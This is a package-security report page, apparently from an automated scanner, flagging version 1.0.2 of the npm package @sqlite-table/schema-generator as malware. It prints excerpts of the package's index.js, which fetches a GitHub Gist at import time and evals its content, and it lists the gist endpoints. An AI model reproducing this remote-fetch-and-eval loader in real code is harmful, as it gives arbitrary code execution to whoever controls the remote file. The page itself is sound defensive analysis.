registry / Remote code execution / @sqlite-table/schema-generator

@sqlite-table/schema-generator

simple node for sql fetch

This report shows the evidence for @sqlite-table/schema-generator@1.0.2. 1 of 2 known versions is blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.

AI Security Review

scanned 3mo ago · by lpm-firewall-ai

Source inspection confirms an import-time remote-payload loader with dynamic execution. This is a concrete arbitrary-code-execution chain, not merely a static hint.

Static reason

High-risk behavior combination matched malicious policy.; source fingerprint signature matched known malicious package; routed for review

Trigger

Requiring or importing the main entrypoint (index.js).

Impact

Arbitrary code execution in the consuming process.

Mechanism

Remote Gist fetch followed by eval of returned content.

Attack narrative

At module import, index.js derives a Gist ID, fetches its GitHub API representation, takes the first returned file's content, and passes it to eval. A party able to alter that Gist, or a compromised remote source, can execute arbitrary JavaScript in every consumer process without republishing the npm package.

AI rationale

Source inspection confirms an import-time remote-payload loader with dynamic execution. This is a concrete arbitrary-code-execution chain, not merely a static hint.

Evidence

package.jsonindex.js

Network endpoints2

api.github.com/gists/b57a92378ad0a52430137c3b810e7107gist.github.com/getchainverse/b57a92378ad0a52430137c3b810e7107.js

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

index.js fetches a GitHub Gist API response at import time.
index.js selects the first remote gist file and evals its content.
Remote content is unauthenticated and can change without a package update.

Evidence against

package.json has no install lifecycle hooks.
No local credential harvesting or file writes appear in the two package files.

Behavioral surface

Source

EvalNetwork

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 444 B of source, external domains: api.github.com, gist.github.com

Source & flagged code

4 flagged

index.jsView file

1const gisturl = L2: "https://gist.github.[redacted].js"; L3: ... L6: fetch(apiTarget) L7: .then((response) => response.json()) L8: .then((data) => { ... L10: const scriptText = data.files[firstFileName].content; L11: eval(scriptText); L12: });

Critical

Remote Asset Decode Execute

Source fetches a remote non-code asset, decodes its contents, and dynamically executes the decoded payload.

index.jsView on unpkg · L1

•Trigger-reachable chain: manifest.main -> index.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg

10const scriptText = data.files[firstFileName].content; L11: eval(scriptText); L12: });

High

Eval

Package source references dynamic code evaluation.

index.jsView on unpkg · L10

•matchType = malicious_source_fingerprint_signature signature = 93085e988dfccd2a signatureType = suspicious_hashes sourceLabel = OpenSSF malicious-packages matchedPackage = @sqlite-panel/createsql@1.0.0 matchedPath = index.js matchedIdentity = npm:QHNxbGl0ZS1wYW5lbC9jcmVhdGVzcWw:1.0.0 similarity = 1.000 shingleOverlap = 1 summary = Malicious code in @sqlite-panel/createsql (npm)

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

Source & flagged code

4 flagged · loading source

index.jsView file

Critical

Remote Asset Decode Execute

Source fetches a remote non-code asset, decodes its contents, and dynamically executes the decoded payload.

index.jsView on unpkg · L1

•Trigger-reachable chain: manifest.main -> index.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg

10const scriptText = data.files[firstFileName].content; L11: eval(scriptText); L12: });

High

Eval

Package source references dynamic code evaluation.

index.jsView on unpkg · L10

Findings

2 Critical2 High2 Medium3 Low

CriticalRemote Asset Decode Executeindex.js

CriticalTrigger Reachable Dangerous Capabilityindex.js

HighEvalindex.js

HighKnown Malware Source Fingerprint Signatureindex.js

MediumNetwork

MediumStructural Risk Force Deep Review

LowScripts Present

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to @sqlite-table/schema-generator@1.0.2.

The versions list below shows the verdict for each recorded version.

Avoid installing @sqlite-table/schema-generator@1.0.2. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-07-28 07:25:50.906Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

0.0.1-securitylatestClean—AllowPublishedAug 10, 2026, 4:08 PM 1.0.2shownMaliciousRemote Code ExecutionBlockPublishedJul 27, 2026, 3:02 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other remote code execution packages

Behavioral surface

Related packages

Other remote code execution packages

Source & flagged code